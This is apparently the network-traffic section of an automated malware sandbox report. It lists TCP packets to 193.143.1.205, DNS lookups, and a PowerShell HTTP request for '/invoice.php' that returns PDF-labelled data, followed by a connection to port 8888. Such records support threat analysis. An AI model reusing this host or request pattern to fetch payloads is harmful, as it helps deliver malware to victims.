Jan 11, 2025 06:43:22.779905081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779915094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779941082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779974937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779989958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780004978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780016899 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780019999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780035973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780042887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780052900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780071020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780075073 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780088902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780103922 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780111074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780126095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780141115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780143023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780179024 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780191898 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780208111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780224085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780242920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780299902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780314922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780337095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780337095 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780353069 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780369997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780370951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780385017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780400991 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780410051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780432940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780487061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780512094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780527115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780541897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780550003 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780558109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780574083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780581951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.780589104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.780610085 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.795635939 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.817034006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817066908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817081928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817094088 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.817105055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817121029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817126036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.817137003 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817152977 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817157030 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.817169905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817186117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817199945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817209005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.817217112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.817240000 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.817251921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826314926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826345921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826361895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826381922 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826386929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826402903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826423883 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826481104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826497078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826512098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826520920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826546907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826610088 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826625109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826637983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826658964 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826661110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826677084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826689959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826699018 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826705933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826723099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826730013 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826740026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826756001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826760054 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826790094 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.826798916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826816082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826833963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.826848984 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865281105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865309954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865334988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865349054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865356922 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865366936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865384102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865389109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865401983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865425110 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865438938 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865488052 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865511894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865534067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865546942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865550041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865567923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865581989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865583897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865600109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865619898 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865621090 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865638971 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865653038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865660906 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865668058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865683079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865690947 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865705013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865717888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865720987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865736008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865751982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865757942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865767002 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865782022 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865789890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865807056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865819931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865827084 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865844011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865853071 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865858078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865874052 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865890026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865896940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865911961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865926027 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865951061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865966082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865983009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.865988970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.865998983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866017103 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866031885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866055012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866069078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866075993 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866101027 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866143942 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866158962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866173029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866200924 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866221905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866238117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866255045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866261005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866271019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866288900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866297960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866312981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866328955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866332054 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866369963 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866465092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866480112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866494894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866516113 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866517067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866533995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866548061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866553068 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866564989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866580009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866590023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866595984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866617918 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866617918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866635084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866658926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866663933 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866676092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866695881 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866754055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866776943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866791010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866794109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866806030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866823912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866830111 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866853952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866909981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866925955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866941929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866955996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866971970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866972923 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.866986990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.866997004 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867002010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867018938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867022991 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867065907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867078066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867093086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867108107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867122889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867126942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867156029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867157936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867175102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867207050 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867280960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867296934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867324114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867331982 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.867341042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.867377043 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.903839111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903857946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903873920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903889894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903904915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903919935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903934956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903950930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.903960943 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.903960943 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.903997898 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.903997898 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913150072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913177967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913197994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913216114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913225889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913234949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913254976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913261890 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913285017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913285017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913305998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913324118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913348913 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913352013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913368940 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913388968 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913394928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913414001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913430929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913431883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913463116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913471937 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913480997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913501978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913518906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913523912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913537979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913554907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913606882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913624048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913641930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913646936 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913657904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913676023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.913680077 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.913710117 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.934654951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953155994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953180075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953196049 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953259945 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953299999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953315973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953330994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953392029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953397989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953407049 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953416109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953433037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953444958 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953449011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953465939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953481913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953504086 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953521967 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953609943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953624964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953641891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953654051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.953664064 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.953686953 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.092704058 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.096613884 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.176703930 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.516717911 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.523220062 CET	8888	49737	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:23.523327112 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.529834986 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:23.534677029 CET	8888	49737	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:24.294914007 CET	8888	49737	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:24.345624924 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:24.555037022 CET	49737	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:43:31.384188890 CET	49455	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:43:31.384188890 CET	192.168.2.10	1.1.1.1	0x8c7e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:43:31.391009092 CET	1.1.1.1	192.168.2.10	0x8c7e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:43:32.107300043 CET	1.1.1.1	192.168.2.10	0x7e70	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:43:32.107300043 CET	1.1.1.1	192.168.2.10	0x7e70	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49722	193.143.1.205	80	8000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:21.379733086 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:43:22.193350077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:43:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 